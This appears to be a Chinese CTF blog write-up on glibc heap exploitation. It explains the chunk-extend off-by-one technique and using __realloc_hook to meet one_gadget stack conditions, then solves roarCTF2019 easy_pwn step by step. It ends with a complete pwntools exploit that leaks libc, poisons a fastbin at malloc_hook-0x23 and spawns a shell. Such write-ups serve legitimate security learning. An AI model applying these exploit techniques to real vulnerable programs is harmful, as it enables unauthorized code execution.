[pwn]堆:realloc_hook控制栈结构达成onegadget

[pwn]realloc_hook控制栈结构达成onegadget

chunk extend

chunk extend是一种限制比较少的堆利用方式,通常通过off by one或off by null来利用。

chuank extend利用需要的条件是:

  1. 可以进行堆布局
  2. 可以溢出至少一个字节

chunk extend的原理是,首先申请三个堆块:
在这里插入图片描述
这里size 0x18是堆块的大小,1是前一个堆块占用位,先通过编辑堆块A然后通过off by one来溢出到堆块B的size域,并将其修改为0x18+0x18+1(其实就是size B+size C,然后前一个堆块占用1):
在这里插入图片描述
这时释放堆块B,由于大小在fastbins中,所以(堆块C的)下一个堆块的前一个堆块使用位不会被置0,再释放C,arena中对应的bins就会指向B和C,如图:
在这里插入图片描述
这时只要再申请一个0x40的大小的堆块,就可以将B+C这个“合成”堆块申请回来,然后就可以操作还在bins中的C堆块C了,将其指针为修改为想要任意写的地址,如free_got:
在这里插入图片描述
然后再申请一个大小为0x20的堆块,将C申请回来,这时bins就会指向freegot,接下来再申请空间就会申请到freegot了:
在这里插入图片描述
再次申请一个0x20大小的堆块就会申请到free_got所在的地方,这时就可以修改为任意的值了,这个例子只是用来举例,其实利用方法非常灵活,只要将还在链表中的堆块成功包括在我们可控的堆块之内,有非常多的利用方式,无论是泄露地址或是任意地址写!这种利用方式是和fastbin attack非常相似的,只不过适用于off by one这种溢出比较苛刻的地方。

通过realloc调整栈帧来满足onegadget

参考:https://blog.csdn.net/Maxmalloc/article/details/102535427

one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能控制程序执行流的时候,直接执行到onegadget的地址,并且满足onegadget的条件,便可直接getshell。如:
在这里插入图片描述
这个libc-2.23.so中共有四个onegadget,相对应的条件分别是rsp+0x30、rsp+0x30、rsp+0x50、rsp+0x70地址处为0。

而有的时候我们有任意地址写的漏洞的时候,比如将malloc_hook写成onegadget,但无法满足onegadget的条件可以使用realloc来微调栈帧。

realloc函数的逻辑和malloc、free等一样,都是先查看realloc_hook是否为null,不为null的话便调用realloc_hook。但不同的是realloc的汇编代码,在调用realloc_hook之前比malloc、free等多了好多push指令和sub抬栈操作:
在这里插入图片描述
我们可以将realloc_hook改为onegadget,然后通过这些push和sub操作"微调"rsp寄存器,使其能够满足在调用realloc_hook(也就是onegadget)的时候满足相应的rsp条件。相应的利用方法就是由传统的直接修改malloc_hook变为先修改realloc_hook为onegadget之后,修改malloc_hook到特定的一个push处或sub处,然后调用malloc便相当于执行了满足条件的onegadget。

接下来通过嘶吼的roarCTF2019的easy_pwn题目来讲解一下:

easy_pwn wp

首先查看下安全策略:
在这里插入图片描述
发现全开,那么我们无法使用漏洞来修改got表。接下来分析一下程序逻辑:
在这里插入图片描述
和传统的堆题目很想,申请、修改、删除和显示。IDA中查看反汇编代码:
在这里插入图片描述
唯一有问题的地方在writeNote中:
在这里插入图片描述
当读入的长度比申请的长度正好大10的时候,程序允许我们多写入一个字节!也就是可以溢出一个字节,正好到下一个堆块的大小位和占用位:
在这里插入图片描述
只有这一个off by one漏洞可以利用,接下来就是思考利用思路。

  1. 首先,要想办法泄露地址
  2. 通过chunk extend来任意地址写利用

泄露地址的方式有很多种,这里选择最简单的一种,泄露unsortbins的地址,首先申请四个堆块,大小分别是0:0x18,1:0x18,2:0x88,3:0x18,之后通过对chunk0进行off by one,溢出到1的size位位0xb1,也就是size1+size2的大小(0x20+0x90)。
在这里插入图片描述
这里申请的是0x18,实际分配是0x21,2申请的比较大是为了合并之后分解的时候不被放入fastbins而是放入unsortbins。这里堆块3的作用是和topchunk隔离,不让分解后直接和topchunk合并。

这时释放chunk1,unsortbins就会指向chunk1(连带着chunk2的大小),size是0xb0,而chunk1的fd和bk两个双向链表指针也会指向libc中的unsortbins处(因为双向链表中只有一个元素):
在这里插入图片描述
然后再申请一个0x18大小的堆块(也就是溢出之前的大小),这时就会在unsortbins中的这个唯一元素中分割一个0x18大小的堆块出去,剩下的继续连在unsortbins中,就是下面这样:
在这里插入图片描述
这时原本的chunk2中的内容就是指向unsortbins的指针,而chunk2一直没有被释放,我们可以通过show来输出指针的内容,就成功得到libc的一个地址了,代码流程是:

create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)
p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)

在这里插入图片描述
通过泄露的地址减掉libc的起始地址就可以计算出这里的偏移了。

libc_base = leak - (0x7efce8fa1b78 - 0x7efce8c06000)

接下来是思考如何利用。由于有chunk extend这个利用方法,需要考虑的只是如何执行任意指令,也就是在改写哪个地址。首先由于开启了Full RELRO,got表是无法修改了。那么我们只能修改libc中的各种hook。

我们采用之前介绍过的realloc控制栈帧满足onegadget条件然后执行onegadget来利用。整个利用思路是:

  1. 通过chunk extend来满足fastbin attack+malloc_hook攻击的条件
  2. 修改malloc_hook为realloc控制栈帧的地址
  3. 修改realloc_hook为onegadget
  4. 通过申请新chunk直接getshell(申请新块会执行malloc_hook调到realloc,然后控制栈帧满足了onegadget条件之后会执行realloc_hook也就是onegadget,getshell)

和fastbin attack类似,通过修改fastbin链表指针的方式,在libc-2.23中,有下面一个检测需要绕过:

  • 检测链表中的freechunk的大小是否在该fastbin链的大小尺寸范围内

需要注意的是,malloc_hook和realloc_hook是连着的,也就是说只要找出malloc_hook前后一个满足这个条件的就可以同时修改这两个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gtmYKvwc-1577800610838)(easy_pwn_wp.assets/1575813619126.png)]

根据常识,malloc_hook-0x23是一个“固定用法”,为什么这么说呢:
在这里插入图片描述
可以看见,malloc_hook-0x23的size域为0x7f正好在0x70-0x80之间,属于fastbin中0x70的范围。那么利用思路就是:

  • 先申请一个0x88的堆块(堆块4)将刚刚地址泄露的剩下的一个空闲堆块申请回来,补齐堆空间,能让接下来申请的堆块从topchunk开始分配。然后堆块结构是下面这样,2和4实际指向的是同一个堆块。
    在这里插入图片描述
  • 申请三个堆块分别是0x18(实际0x20,以下同理),0x68,0x18(堆块567),堆块7是和topchunk隔离用
  • 堆块3和堆块5是相邻的,通过溢出3,将5的size改为0x91(size5+size6)
  • 释放6,fastbin的0x70freechunk链表指向6
  • 释放5(其实是释放了一个0x90的堆块),再申请一个0x88(也就是0x90)的堆块将5申请了回来
  • 这时通过操作5就可以修改已释放的堆块6的指针域了,将其修改为malloc_hook-0x23,注意不要破坏size域
    在这里插入图片描述
  • 然后申请一个0x68的堆块(实际0x70),将6申请回来,这时fastbin的0x70freechunk链表指向malloc_hook-0x23
    在这里插入图片描述
  • 在申请一个0x68的堆块,这时申请到的就是malloc_hook-0x23了,可以修改realloc_hook和malloc_hook了。
  • 通过调试确定地址,下断点再realloc,查看栈帧(图是调试版本libc所用,最后exp所用libc地址不同),可见rsp+0x30的位置不为0,但rsp+0x10的位置为0,需要sub 0x18和push一次。
    在这里插入图片描述
    在这里插入图片描述
  • 修改realloc_hook为onegadget,修改malloc_hook为realloc+偏移地址
    在这里插入图片描述
  • 再申请一个任意大小堆块,完成利用。

exp如下:

from pwn import *
import struct

context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./easy_pwn"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")

def create(size):
	p.sendlineafter("choice: ", str(1))
	p.sendlineafter("size: ", str(size))

def write(index, size, content):
	p.sendlineafter("choice: ", str(2))
	p.sendlineafter("index: ", str(index))
	p.sendlineafter("size: ", str(size))
	p.sendlineafter("content: ", content)

def free(index):
	p.sendlineafter("choice: ", str(3))
	p.sendlineafter("index: ", str(index))

def show(index):
	p.sendlineafter("choice: ", str(4))
	p.sendlineafter("index: ", str(index))

create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)

p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)
libc_base = leak - (0x7fdba0043b78 - 0x7fdb9fc7f000)
print "libc_base-> " + hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
#realloc = libc_base + libc.symbols['__libc_realloc']
realloc=libc_base+0x846CD
print "realloc-> " + hex(realloc)
#rsp+0x50=0
one_gadget=libc_base+0xf02a4

create(0x88) #4
create(0x18) #5
create(0x68) #6
create(0x18) #7
write(3,0x18+10,'a'*0x18+'\x91')
free(6)
free(5)
create(0x88) #5
write(5,0x28,'a'*0x18+p64(0x71)+p64(malloc_hook-0x23))
create(0x68) #6
create(0x68) #8
write(8,0x1b,'a'*0xb+p64(one_gadget)+p64(realloc))
raw_input()
create(0x18)
p.interactive()

成功:
在这里插入图片描述

发布了56 篇原创文章 · 获赞 288 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/103789081
今日推荐